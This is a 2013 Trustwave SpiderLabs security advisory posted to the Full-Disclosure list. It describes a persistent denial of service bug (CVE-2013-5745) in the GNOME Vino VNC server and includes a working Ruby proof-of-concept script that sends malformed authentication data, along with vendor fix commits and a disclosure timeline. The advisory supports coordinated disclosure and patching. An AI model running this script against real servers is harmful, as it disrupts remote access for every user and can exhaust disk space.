Message-ID: <7C1214A4BFB4D14CA302EF05552B181E49CAFE90@SKYMB1.trustwave.com>
Date: Mon, 16 Sep 2013 21:51:07 +0000
From: Trustwave Advisories <TrustwaveAdvisories@...stwave.com>
To: "full-disclosure@...ts.grok.org.uk" <full-disclosure@...ts.grok.org.uk>
Subject: TWSL2013-028: Persistent DoS Vulnerability in
	Vino VNC Server

Trustwave SpiderLabs Security Advisory TWSL2013-028:
Persistent Denial of Service Vulnerability in Vino VNC Server

Published: 09/16/13
Version: 1.0

Vendor: The GNOME Project (https://wiki.gnome.org/Vino)
Product: Vino VNC Server
Version affected: Vino VNC Server 3.7.3 and earlier versions (3.8 stable
release is affected if encryption is disabled).

Product description:
Vino is the GNOME desktop sharing server.

Finding 1: Remote Persistent Denial of Service Vulnerability
Credit: Jonathan Claudius of Trustwave SpiderLabs
CVE: CVE-2013-5745
CWE: CWE-20

The Vino VNC server, which is also the default VNC server in Ubuntu
(3.4.2-0ubuntu1.2), is vulnerable to a persistent denial of service
vulnerability.  The vulnerability is triggered when a VNC client, who
claims to only support protocol version 3.3, sends malformed data during
the authentication selection stage of the authentication process.

If this process is repeated more than just a couple times, it causes Vino
VNC server to fall into what appears to be an infinite loop, as seen in the
service logs via repeating "Authentication deferred - ignoring client
message" messages.  This not only affects the connecting client IP, but
affects service level availability for all potential VNC clients and the
service fails to handle any new VNC client requests regardless of client
IP.

The Vino VNC server must be restarted in order to restore VNC service
availability.

Additionally, after the failure condition has occurred, the log file
(~/.xsession-errors) grows quickly to 1GB within 4min in testing.  If left
unattended in the failure state, a system wide denial of service due to
file system consumption is possible.

Example:

The following Proof of Concept (PoC) connects to the Vino VNC Server, sends
a client banner, and then sends a malformed payload of repeating A's.
After the first 3-4 payloads are sent, the port will remain open, but the
service will fail to handle any new client requests from any client on any
IP.


## vino-vnc-dos-poc.rb ####

require 'socket'
require 'timeout'

# Just a couple payloads in a row should be enough to send Vino into an
# (authentication deferred - ignoring client message loop) and spoil the party
client_banners = []
10.times {client_banners << "RFB 003.003"}

client_banners.each do |client_banner|
  puts "Testing " + client_banner

  begin

    Timeout::timeout(5) {
      sock = TCPSocket.open("a.b.c.d", 5900)
      puts "Waiting for Server Banner..."

      banner = sock.gets()
      puts "Got Server Banner: " + banner
      sock.write(client_banner + "\n")

      payload = "A" * 16
      puts "Sending Payload: " + payload
      sock.write(payload)

      sock.close
    }

  rescue Timeout::Error
    puts "Operations are timing out, you may have DoS'd the service"
  rescue Errno::ECONNREFUSED
    puts "Cannot connect to service, this is likely an IP/Port mismatch"
    exit
  end

end

############################

Remediation Steps:
The vendor has released a fix in commit 51435d3f946d6d2b99b876b7919b9d41022fc408 and
commit 860337231eaccfeed4f857afd0579546a260c23f for the Vino VNC Server.

Vendor Communication Timeline:
9/10/13 - Vulnerability disclosed to vendor
9/11/13 - Patch released by vendor
9/16/13 - Advisory published

Additional Credits: BitBlaze Group (http://bitblaze.cs.berkeley.edu/)
Initial discovery of the denial of service vulnerability in Vino
2.26.1 and 2.32.1


References
1. https://wiki.gnome.org/Vino
2. https://bugzilla.gnome.org/show_bug.cgi?id=707905
3. https://bugzilla.gnome.org/show_bug.cgi?id=641811


About Trustwave:
Trustwave is the leading provider of on-demand and subscription-based
information security and payment card industry compliance management
solutions to businesses and government entities throughout the world. For
organizations faced with today's challenging data security and compliance
environment, Trustwave provides a unique approach with comprehensive
solutions that include its flagship TrustKeeper compliance management
software and other proprietary security solutions. Trustwave has helped
thousands of organizations--ranging from Fortune 500 businesses and large
financial institutions to small and medium-sized retailers--manage
compliance and secure their network infrastructure, data communications and
critical information assets. Trustwave is headquartered in Chicago with
offices throughout North America, South America, Europe, Africa, China and
Australia. For more information, visit https://www.trustwave.com

About Trustwave SpiderLabs:
SpiderLabs(R) is the advanced security team at Trustwave focused on
application security, incident response, penetration testing, physical
security and security research. The team has performed over a thousand
incident investigations, thousands of penetration tests and hundreds of
application security tests globally. In addition, the SpiderLabs Research
team provides intelligence through bleeding-edge research and proof of
concept tool development to enhance Trustwave's products and services.
https://www.trustwave.com/spiderlabs

Disclaimer:
The information provided in this advisory is provided "as is" without
warranty of any kind. Trustwave disclaims all warranties, either express or
implied, including the warranties of merchantability and fitness for a
particular purpose. In no event shall Trustwave or its suppliers be liable
for any damages whatsoever including direct, indirect, incidental,
consequential, loss of business profits or special damages, even if
Trustwave or its suppliers have been advised of the possibility of such
damages. Some states do not allow the exclusion or limitation of liability
for consequential or incidental damages so the foregoing limitation may not
apply.

________________________________

This transmission may contain information that is privileged, confidential, and/or exempt from disclosure under applicable law. If you are not the intended recipient, you are hereby notified that any disclosure, copying, distribution, or use of the information contained herein (including any reliance thereon) is strictly prohibited. If you received this transmission in error, please immediately contact the sender and destroy the material in its entirety, whether in electronic or hard copy format.

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Powered by blists - more mailing lists